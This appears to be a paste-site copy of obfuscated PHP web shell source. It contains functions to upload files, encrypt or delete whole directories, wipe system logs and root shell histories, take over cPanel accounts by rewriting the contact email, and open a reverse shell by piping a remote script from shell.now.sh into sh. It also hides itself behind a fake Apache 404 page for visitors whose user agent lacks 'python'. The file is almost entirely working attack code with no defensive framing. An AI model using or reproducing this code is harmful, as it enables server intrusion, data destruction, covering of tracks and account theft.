- $ {
- "GLOBALS"
- }
- ["target_path"]
- } = dirname(__FILE__) . "/";
- }
- $ {
- $ {
- "GLOBALS"
- }
- ["target_path"]
- } = $ {
- $ {
- "GLOBALS"
- }
- ["target_path"]
- } . basename($ {
- $ {
- "GLOBALS"
- }
- ["_FILES"]
- }
- ['file']['name']);
- if (move_uploaded_file($ {
- $ {
- "GLOBALS"
- }
- ["_FILES"]
- }
- ['file']['tmp_name'], $ {
- $ {
- "GLOBALS"
- }
- ["target_path"]
- })) {
- echo "File uploaded successfully here >>> " . $ {
- $ {
- "GLOBALS"
- }
- ["target_path"]
- };
- echo "\n" . getcwd();
- } else {
- echo "Sorry, file not uploaded, please try again!";
- echo "\n" . getcwd();
- }
- }
- function encx($secret_key, $dir) {
- foreach (new RecursiveIteratorIterator(new RecursiveDirectoryIterator($ {
- $ {
- "GLOBALS"
- }
- ["dir"]
- }, RecursiveDirectoryIterator::SKIP_DOTS)) as $ {
- $ {
- "GLOBALS"
- }
- ["filename"]
- }) {
- enc($ {
- $ {
- "GLOBALS"
- }
- ["secret_key"]
- }, $ {
- $ {
- "GLOBALS"
- }
- ["filename"]
- });
- }
- }
- function dcry($secret_key, $dir) {
- foreach (new RecursiveIteratorIterator(new RecursiveDirectoryIterator($ {
- $ {
- "GLOBALS"
- }
- ["dir"]
- }, RecursiveDirectoryIterator::SKIP_DOTS)) as $ {
- $ {
- "GLOBALS"
- }
- ["filename"]
- }) {
- decryz($ {
- $ {
- "GLOBALS"
- }
- ["secret_key"]
- }, $ {
- $ {
- "GLOBALS"
- }
- ["filename"]
- });
- }
- }
- function funk($dir) {
- foreach (new RecursiveIteratorIterator(new RecursiveDirectoryIterator($ {
- $ {
- "GLOBALS"
- }
- ["dir"]
- }, RecursiveDirectoryIterator::SKIP_DOTS)) as $ {
- $ {
- "GLOBALS"
- }
- ["filename"]
- }) {
- try {
- unlink($ {
- $ {
- "GLOBALS"
- }
- ["filename"]
- }) or die("Couldn't delete file");
- echo "Fucked> " . $ {
- $ {
- "GLOBALS"
- }
- ["filename"]
- };
- }
- catch(Exception $e) {
- echo "Permission denial" . $filename;
- }
- }
- }
- $ {
- $ {
- "GLOBALS"
- }
- ["log"]
- } = array("/var/log/yum.log", "/var/log/wtmp", "/var/log/utmp", "/var/log/secure", "/var/log/mysqld.log", "/var/log/boot.log", "/var/log/lighttpd", "/var/log/httpd/", "/var/log/qmail/", "/var/log/maillog", "/var/log/cron.log", "/var/log/kern.log", "/var/log/auth.log", "/var/log/message", "/var/log/lastlog‬‬", "/var/adm/lastlog‬‬", "/‪usr/adm/lastlog‬‬", "/var/log/lastlog", "/etc/utmp", "/etc/wtmp", "/var/adm", "/var/log", "/var/logs", "/var/run/utmp", "/var/apache/log", "/var/apache/logs", "/usr/local/apache/log", "/usr/local/apache/logs", "/root/.bash_logout", "/root/.bash_history", "/root/.ksh_history", "/tmp/logs", "/opt/lampp/logs/access_log", "/var/log/nginx/access.log", "/logs/agent_lo", "/logs/referer_log", "/logs/access_log", "/var/log/apache2", "/var/log/wtmp", "/tmp/logs", "/root/.bash_history", "/root/.ksh_history", "/root/.bash_logout", "/usr/local/apache/logs", "/usr/local/apache/log", "/var/apache/logs", "/var/apache/log", "/var/run/utmp", "/var/logs", "/var/log", "/var/adm", "/etc/wtmp", "/etc/utmp", "/var/log/lastlog", "/var/log/wtmp",);
- if (isset($ {
- $ {
- "GLOBALS"
- }
- ["_POST"]
- }
- ["logfucked"]) && isset($ {
- $ {
- "GLOBALS"
- }
- ["_SESSION"]
- }
- ["auth"])) {
- clearerror();
- try {
- system("find /home -name 'access_log' -exec rm {} \;");
- }
- catch(Exception $e) {
- echo $e;
- }
- foreach ($ {
- $ {
- "GLOBALS"
- }
- ["log"]
- } as $ {
- $ {
- "GLOBALS"
- }
- ["lf"]
- }) {
- if (file_exists($ {
- $ {
- "GLOBALS"
- }
- ["lf"]
- })) {
- try {
- unlink($ {
- $ {
- "GLOBALS"
- }
- ["lf"]
- }) or die(" access denied! for " . $ {
- $ {
- "GLOBALS"
- }
- ["lf"]
- });
- echo "Fucked> " . $ {
- $ {
- "GLOBALS"
- }
- ["lf"]
- } . "\n";
- }
- catch(Exception $e) {
- echo $e;
- }
- } elseif (is_dir($ {
- $ {
- "GLOBALS"
- }
- ["lf"]
- })) {
- try {
- rmdir($ {
- $ {
- "GLOBALS"
- }
- ["lf"]
- });
- echo "Fucked> " . $ {
- $ {
- "GLOBALS"
- }
- ["lf"]
- } . "\n";
- }
- catch(Exception $e) {
- echo $e;
- }
- }
- }
- }
- if (isset($ {
- $ {
- "GLOBALS"
- }
- ["_POST"]
- }
- ["ip"]) && isset($ {
- $ {
- "GLOBALS"
- }
- ["_POST"]
- }
- ["port"]) && isset($ {
- $ {
- "GLOBALS"
- }
- ["_SESSION"]
- }
- ["auth"])) {
- $ {
- $ {
- "GLOBALS"
- }
- ["ipx"]
- } = str_replace("\n", "", $ {
- $ {
- "GLOBALS"
- }
- ["_POST"]
- }
- ["ip"]);
- $ {
- $ {
- "GLOBALS"
- }
- ["port"]
- } = str_replace("\n", "", $ {
- $ {
- "GLOBALS"
- }
- ["_POST"]
- }
- ["port"]);
- chechx("curl https://shell.now.sh/" . $ {
- $ {
- "GLOBALS"
- }
- ["ipx"]
- } . ":" . $ {
- $ {
- "GLOBALS"
- }
- ["port"]
- } . " | sh");
- }
- if (isset($ {
- $ {
- "GLOBALS"
- }
- ["_POST"]
- }
- ["creckcpanel"]) && isset($ {
- $ {
- "GLOBALS"
- }
- ["_SESSION"]
- }
- ["auth"])) {
- checkcreckcpanel();
- system("find .my.cnf");
- }
- function checkcreckcpanel() {
- try {
- $ {
- $ {
- "GLOBALS"
- }
- ["paap"]
- } = "/" . "home" . "/" . get_current_user() . "/";
- echo ("current email used in cpanel > ");
- echo file_get_contents($ {
- $ {
- "GLOBALS"
- }
- ["paap"]
- } . ".contactemail");
- $ {
- $ {
- "GLOBALS"
- }
- ["locky"]
- } = $ {
- $ {
- "GLOBALS"
- }
- ["paap"]
- } . ".cpanel/contactinfo";
- if (file_exists($ {
- $ {
- "GLOBALS"
- }
- ["locky"]
- })) {
- unlink($ {
- $ {
- "GLOBALS"
- }
- ["locky"]
- }) or die(" access denied! for " . $ {
- $ {
- "GLOBALS"
- }
- ["locky"]
- });
- }
- echo "\nThis website Cpanel can Be crecked Type creckzee \n";
- }
- catch(Exception $e) {
- echo "Cpanel can't be creck " . $e;
- }
- }
- if (isset($ {
- $ {
- "GLOBALS"
- }
- ["_POST"]
- }
- ["creckzee"]) && isset($ {
- $ {
- "GLOBALS"
- }
- ["_SESSION"]
- }
- ["auth"])) {
- $ {
- $ {
- "GLOBALS"
- }
- ["em"]
- } = $ {
- $ {
- "GLOBALS"
- }
- ["_POST"]
- }
- ["creckzee"];
- $ {
- $ {
- "GLOBALS"
- }
- ["me"]
- } = str_replace("\n", "", $ {
- $ {
- "GLOBALS"
- }
- ["em"]
- });
- creckzee($ {
- $ {
- "GLOBALS"
- }
- ["me"]
- });
- }
- function creckzee($email) {
- try {
- $ {
- $ {
- "GLOBALS"
- }
- ["paap"]
- } = "/" . "home" . "/" . get_current_user() . "/";
- echo file_get_contents($ {
- $ {
- "GLOBALS"
- }
- ["paap"]
- } . ".contactemail");
- $ {
- $ {
- "GLOBALS"
- }
- ["file"]
- } = fopen($ {
- $ {
- "GLOBALS"
- }
- ["paap"]
- } . ".contactemail", "w");
- fwrite($ {
- $ {
- "GLOBALS"
- }
- ["file"]
- }, $ {
- $ {
- "GLOBALS"
- }
- ["email"]
- });
- fclose($ {
- $ {
- "GLOBALS"
- }
- ["file"]
- });
- $ {
- $ {
- "GLOBALS"
- }
- ["locky"]
- } = $ {
- $ {
- "GLOBALS"
- }
- ["paap"]
- } . ".cpanel/contactinfo";
- if (file_exists($ {
- $ {
- "GLOBALS"
- }
- ["locky"]
- })) {
- unlink($ {
- $ {
- "GLOBALS"
- }
- ["locky"]
- }) or die(" access denied! for " . $ {
- $ {
- "GLOBALS"
- }
- ["locky"]
- });
- }
- echo "\nEnter your password in password reset field and reset the password :) ";
- }
- catch(Exception $e) {
- echo $e;
- }
- }
- class AES_CBC {
- protected static $KEY_SIZES = array('AES-128' => 16, 'AES-192' => 24, 'AES-256' => 32);
- protected static function key_size() {
- return self::$ {
- $ {
- "GLOBALS"
- }
- ["KEY_SIZES"]
- }
- ['AES-128'];
- }
- public static function encryptFile($password, $input_stream, $aes_filename) {
- $ {
- $ {
- "GLOBALS"
- }
- ["iv_size"]
- } = mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC);
- $ {
- $ {
- "GLOBALS"
- }
- ["fin"]
- } = fopen($ {
- $ {
- "GLOBALS"
- }
- ["input_stream"]
- }, "rb");
- $ {
- $ {
- "GLOBALS"
- }
- ["fc"]
- } = fopen($ {
- $ {
- "GLOBALS"
- }
- ["aes_filename"]
- }, "wb+");
- if (!empty($ {
- $ {
- "GLOBALS"
- }
- ["fin"]
- }) && !empty($ {
- $ {
- "GLOBALS"
- }
- ["fc"]
- })) {
- fwrite($ {
- $ {
- "GLOBALS"
- }
- ["fc"]
- }, str_repeat("_", 32));
- fwrite($ {
- $ {
- "GLOBALS"
- }
- ["fc"]
- }, $ {
- $ {
- "GLOBALS"
- }
- ["hmac_salt"]
- } = mcrypt_create_iv($ {
- $ {
- "GLOBALS"
- }
- ["iv_size"]
- }, MCRYPT_DEV_URANDOM));
- fwrite($ {
- $ {
- "GLOBALS"
- }
- ["fc"]
- }, $ {
- $ {
- "GLOBALS"
- }
- ["esalt"]
- } = mcrypt_create_iv($ {
- $ {
- "GLOBALS"
- }
- ["iv_size"]
- }, MCRYPT_DEV_URANDOM));
- fwrite($ {
- $ {
- "GLOBALS"
- }
- ["fc"]
- }, $ {
- $ {
- "GLOBALS"
- }
- ["iv"]
- } = mcrypt_create_iv($ {
- $ {
- "GLOBALS"
- }
- ["iv_size"]
- }, MCRYPT_DEV_URANDOM));
- $ {
- $ {
- "GLOBALS"
- }
- ["ekey"]
- } = hash_pbkdf2("sha256", $ {
- $ {
- "GLOBALS"
- }
- ["password"]
- }, $ {
- $ {
- "GLOBALS"
- }
- ["esalt"]
- }, $ {
- $ {
- "GLOBALS"
- }
- ["it"]
- } = 1000, self::key_size(), $ {
- $ {
- "GLOBALS"
- }
- ["raw"]
- } = true);
- $ {
- $ {
- "GLOBALS"
- }
- ["opts"]
- } = array('mode' => 'cbc', 'iv' => $ {
- $ {
- "GLOBALS"
- }
- ["iv"]
- }, 'key' => $ {
- $ {
- "GLOBALS"
- }
- ["ekey"]
- });
- stream_filter_append($ {
- $ {
- "GLOBALS"
- }
- ["fc"]
- }, 'mcrypt.rijndael-128', STREAM_FILTER_WRITE, $ {
- $ {
- "GLOBALS"
- }
- ["opts"]
- });
- $ {
- $ {
- "GLOBALS"
- }
- ["tnbj_lhaaumcpstixsbmpwcgrhozddnxy_kcgv"]
- } = 0;
- while (!feof($ {
- $ {
- "GLOBALS"
- }
- ["fin"]
- })) {
- $ {
- $ {
- "GLOBALS"
- }
- ["block"]
- } = fread($ {
- $ {
- "GLOBALS"
- }
- ["fin"]
- }, 8192);
- $ {
- $ {
- "GLOBALS"
- }
- ["tnbj_lhaaumcpstixsbmpwcgrhozddnxy_kcgv"]
- }+= strlen($ {
- $ {
- "GLOBALS"
- }
- ["block"]
- });
- fwrite($ {
- $ {
- "GLOBALS"
- }
- ["fc"]
- }, $ {
- $ {
- "GLOBALS"
- }
- ["block"]
- });
- }
- $ {
- $ {
- "GLOBALS"
- }
- ["block_size"]
- } = mcrypt_get_block_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC);
- $ {
- $ {
- "GLOBALS"
- }
- ["padding"]
- } = $ {
- $ {
- "GLOBALS"
- }
- ["block_size"]
- } - ($ {
- $ {
- "GLOBALS"
- }
- ["tnbj_lhaaumcpstixsbmpwcgrhozddnxy_kcgv"]
- } % $ {
- $ {
- "GLOBALS"
- }
- ["block_size"]
- });
- fwrite($ {
- $ {
- "GLOBALS"
- }
- ["fc"]
- }, str_repeat(chr($ {
- $ {
- "GLOBALS"
- }
- ["padding"]
- }), $ {
- $ {
- "GLOBALS"
- }
- ["padding"]
- }));
- fclose($ {
- $ {
- "GLOBALS"
- }
- ["fin"]
- });
- fclose($ {
- $ {
- "GLOBALS"
- }
- ["fc"]
- });
- $ {
- $ {
- "GLOBALS"
- }
- ["hmac_raw"]
- } = self::calculate_hmac_after_32bytes($ {
- $ {
- "GLOBALS"
- }
- ["password"]
- }, $ {
- $ {
- "GLOBALS"
- }
- ["hmac_salt"]
- }, $ {
- $ {
- "GLOBALS"
- }
- ["aes_filename"]
- });
- $ {
- $ {
- "GLOBALS"
- }
- ["fc"]
- } = fopen($ {
- $ {
- "GLOBALS"
- }
- ["aes_filename"]
- }, "rb+");
- fwrite($ {
- $ {
- "GLOBALS"
- }
- ["fc"]
- }, $ {
- $ {
- "GLOBALS"
- }
- ["hmac_raw"]
- });
- fclose($ {
- $ {
- "GLOBALS"
- }
- ["fc"]
- });
- }
- }
- public static function decryptFile($password, $aes_filename, $out_stream) {
- $ {
- $ {
- "GLOBALS"
- }
- ["iv_size"]
- } = mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC);
- $ {
- $ {
- "GLOBALS"
- }
- ["hmac_raw"]
- } = file_get_contents($ {
- $ {
- "GLOBALS"
- }
- ["aes_filename"]
- }, false, NULL, 0, 32);
- $ {
- $ {
- "GLOBALS"
- }
- ["hmac_salt"]
- } = file_get_contents($ {
- $ {
- "GLOBALS"
- }
- ["aes_filename"]
- }, false, NULL, 32, $ {
- $ {
- "GLOBALS"
- }
- ["iv_size"]
- });
- $ {
- $ {
- "GLOBALS"
- }
- ["hmac_calc"]
- } = self::calculate_hmac_after_32bytes($ {
- $ {
- "GLOBALS"
- }
- ["password"]
- }, $ {
- $ {
- "GLOBALS"
- }
- ["hmac_salt"]
- }, $ {
- $ {
- "GLOBALS"
- }
- ["aes_filename"]
- });
- $ {
- $ {
- "GLOBALS"
- }
- ["fc"]
- } = fopen($ {
- $ {
- "GLOBALS"
- }
- ["aes_filename"]
- }, "rb");
- $ {
- $ {
- "GLOBALS"
- }
- ["fout"]
- } = fopen($ {
- $ {
- "GLOBALS"
- }
- ["out_stream"]
- }, 'wb');
- if (!empty($ {
- $ {
- "GLOBALS"
- }
- ["fout"]
- }) && !empty($ {
- $ {
- "GLOBALS"
- }
- ["fc"]
- }) && self::hash_equals($ {
- $ {
- "GLOBALS"
- }
- ["hmac_raw"]
- }, $ {
- $ {
- "GLOBALS"
- }
- ["hmac_calc"]
- })) {
- fread($ {
- $ {
- "GLOBALS"
- }
- ["fc"]
- }, 32 + $ {
- $ {
- "GLOBALS"
- }
- ["iv_size"]
- });
- $ {
- $ {
- "GLOBALS"
- }
- ["esalt"]
- } = fread($ {
- $ {
- "GLOBALS"
- }
- ["fc"]
- }, $ {
- $ {
- "GLOBALS"
- }
- ["iv_size"]
- });
- $ {
- $ {
- "GLOBALS"
- }
- ["iv"]
- } = fread($ {
- $ {
- "GLOBALS"
- }
- ["fc"]
- }, $ {
- $ {
- "GLOBALS"
- }
- ["iv_size"]
- });
- $ {
- $ {
- "GLOBALS"
- }
- ["ekey"]
- } = hash_pbkdf2("sha256", $ {
- $ {
- "GLOBALS"
- }
- ["password"]
- }, $ {
- $ {
- "GLOBALS"
- }
- ["esalt"]
- }, $ {
- $ {
- "GLOBALS"
- }
- ["it"]
- } = 1000, self::key_size(), $ {
- $ {
- "GLOBALS"
- }
- ["raw"]
- } = true);
- $ {
- $ {
- "GLOBALS"
- }
- ["opts"]
- } = array('mode' => 'cbc', 'iv' => $ {
- $ {
- "GLOBALS"
- }
- ["iv"]
- }, 'key' => $ {
- $ {
- "GLOBALS"
- }
- ["ekey"]
- });
- stream_filter_append($ {
- $ {
- "GLOBALS"
- }
- ["fc"]
- }, 'mdecrypt.rijndael-128', STREAM_FILTER_READ, $ {
- $ {
- "GLOBALS"
- }
- ["opts"]
- });
- while (!feof($ {
- $ {
- "GLOBALS"
- }
- ["fc"]
- })) {
- $ {
- $ {
- "GLOBALS"
- }
- ["block"]
- } = fread($ {
- $ {
- "GLOBALS"
- }
- ["fc"]
- }, 8192);
- if (feof($ {
- $ {
- "GLOBALS"
- }
- ["fc"]
- })) {
- $ {
- $ {
- "GLOBALS"
- }
- ["padding"]
- } = ord($ {
- $ {
- "GLOBALS"
- }
- ["block"]
- }
- [strlen($ {
- $ {
- "GLOBALS"
- }
- ["block"]
- }) - 1]);
- $ {
- $ {
- "GLOBALS"
- }
- ["block"]
- } = substr($ {
- $ {
- "GLOBALS"
- }
- ["block"]
- }, 0, 0 - $ {
- $ {
- "GLOBALS"
- }
- ["padding"]
- });
- }
- fwrite($ {
- $ {
- "GLOBALS"
- }
- ["fout"]
- }, $ {
- $ {
- "GLOBALS"
- }
- ["block"]
- });
- }
- fclose($ {
- $ {
- "GLOBALS"
- }
- ["fout"]
- });
- fclose($ {
- $ {
- "GLOBALS"
- }
- ["fc"]
- });
- }
- }
- private static function hash_equals($str1, $str2) {
- if (strlen($ {
- $ {
- "GLOBALS"
- }
- ["str1"]
- }) == strlen($ {
- $ {
- "GLOBALS"
- }
- ["str2"]
- })) {
- $ {
- $ {
- "GLOBALS"
- }
- ["res"]
- } = $ {
- $ {
- "GLOBALS"
- }
- ["str1"]
- } ^ $ {
- $ {
- "GLOBALS"
- }
- ["str2"]
- };
- for ($ {
- $ {
- "GLOBALS"
- }
- ["ret"]
- } = 0, $ {
- $ {
- "GLOBALS"
- }
- ["i"]
- } = strlen($ {
- $ {
- "GLOBALS"
- }
- ["res"]
- }) - 1;$ {
- $ {
- "GLOBALS"
- }
- ["i"]
- } >= 0;$ {
- $ {
- "GLOBALS"
- }
- ["i"]
- }
- --) $ {
- $ {
- "GLOBALS"
- }
- ["ret"]
- }|= ord($ {
- $ {
- "GLOBALS"
- }
- ["res"]
- }
- [$ {
- $ {
- "GLOBALS"
- }
- ["i"]
- }
- ]);
- return !$ {
- $ {
- "GLOBALS"
- }
- ["ret"]
- };
- }
- return false;
- }
- private static function calculate_hmac_after_32bytes($password, $hsalt, $filename) {
- static $init = 0;
- $ {
- $ {
- "GLOBALS"
- }
- ["init"]
- } or $ {
- $ {
- "GLOBALS"
- }
- ["init"]
- } = stream_filter_register("user-filter.skipfirst32bytes", "FileSkip32Bytes");
- $ {
- $ {
- "GLOBALS"
- }
- ["stream"]
- } = "php://filter/read=user-filter.skipfirst32bytes/resource=" . $ {
- $ {
- "GLOBALS"
- }
- ["filename"]
- };
- $ {
- $ {
- "GLOBALS"
- }
- ["hkey"]
- } = hash_pbkdf2("sha256", $ {
- $ {
- "GLOBALS"
- }
- ["password"]
- }, $ {
- $ {
- "GLOBALS"
- }
- ["hsalt"]
- }, $ {
- $ {
- "GLOBALS"
- }
- ["iterations"]
- } = 1000, 24, $ {
- $ {
- "GLOBALS"
- }
- ["raw"]
- } = true);
- return hash_hmac_file('sha256', $ {
- $ {
- "GLOBALS"
- }
- ["stream"]
- }, $ {
- $ {
- "GLOBALS"
- }
- ["hkey"]
- }, $ {
- $ {
- "GLOBALS"
- }
- ["raw"]
- } = true);
- }
- }
- class FileSkip32Bytes extends php_user_filter {
- private $skipped = 0;
- function filter($in, $out, &$consumed, $closing) {
- while ($ {
- $ {
- "GLOBALS"
- }
- ["bucket"]
- } = stream_bucket_make_writeable($ {
- $ {
- "GLOBALS"
- }
- ["in"]
- })) {
- $ {
- $ {
- "GLOBALS"
- }
- ["outlen"]
- } = $ {
- $ {
- "GLOBALS"
- }
- ["bucket"]
- }->{"datalen"};
- if ($this->{"skipped"} < 32) {
- $ {
- $ {
- "GLOBALS"
- }
- ["outlen"]
- } = min($ {
- $ {
- "GLOBALS"
- }
- ["bucket"]
- }->{"datalen"}, 32 - $this->{"skipped"});
- $ {
- $ {
- "GLOBALS"
- }
- ["bucket"]
- }->{"data"} = substr($ {
- $ {
- "GLOBALS"
- }
- ["bucket"]
- }->{"data"}, $ {
- $ {
- "GLOBALS"
- }
- ["outlen"]
- });
- $ {
- $ {
- "GLOBALS"
- }
- ["bucket"]
- }->{"datalen"} = $ {
- $ {
- "GLOBALS"
- }
- ["bucket"]
- }->{"datalen"} - $ {
- $ {
- "GLOBALS"
- }
- ["outlen"]
- };
- $this->{"skipped"}+= $ {
- $ {
- "GLOBALS"
- }
- ["outlen"]
- };
- }
- $ {
- $ {
- "GLOBALS"
- }
- ["consumed"]
- }+= $ {
- $ {
- "GLOBALS"
- }
- ["outlen"]
- };
- stream_bucket_append($ {
- $ {
- "GLOBALS"
- }
- ["out"]
- }, $ {
- $ {
- "GLOBALS"
- }
- ["bucket"]
- });
- }
- return PSFS_PASS_ON;
- }
- }
- class AES_128_CBC extends AES_CBC {
- protected static function key_size() {
- return self::$ {
- $ {
- "GLOBALS"
- }
- ["KEY_SIZES"]
- }
- ['AES-128'];
- }
- }
- class AES_192_CBC extends AES_CBC {
- protected static function key_size() {
- return self::$ {
- $ {
- "GLOBALS"
- }
- ["KEY_SIZES"]
- }
- ['AES-192'];
- }
- }
- class AES_256_CBC extends AES_CBC {
- protected static function key_size() {
- return self::$ {
- $ {
- "GLOBALS"
- }
- ["KEY_SIZES"]
- }
- ['AES-256'];
- }
- }
- $ {
- $ {
- "GLOBALS"
- }
- ["check"]
- } = strpos($ {
- $ {
- "GLOBALS"
- }
- ["_SERVER"]
- }
- ['HTTP_USER_AGENT'], "python");
- if ($ {
- $ {
- "GLOBALS"
- }
- ["check"]
- } === false) {
- print404();
- }
- function print404() {
- echo "\xd\xa <!DOCTYPE HTML PUBLIC " - //IETF//DTD HTML 2.0//EN">\xd
- < html > < head > \xa < title > 404NotFound < / title > \xa < / head > < body > \xa < h1 > NotFound < / h1 > \xd < p > TherequestedURLwasnotfoundonthisserver . < / p > \xd\xa < hr > \xd < address > Apache / 2.4.38(Debian) Serverat".${${"GLOBALS"}["_SERVER"]}['SERVER_ADDR']."Port80 < / address > \xd < / body > < / html > \xd\xa\xa";}
- ?>"
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement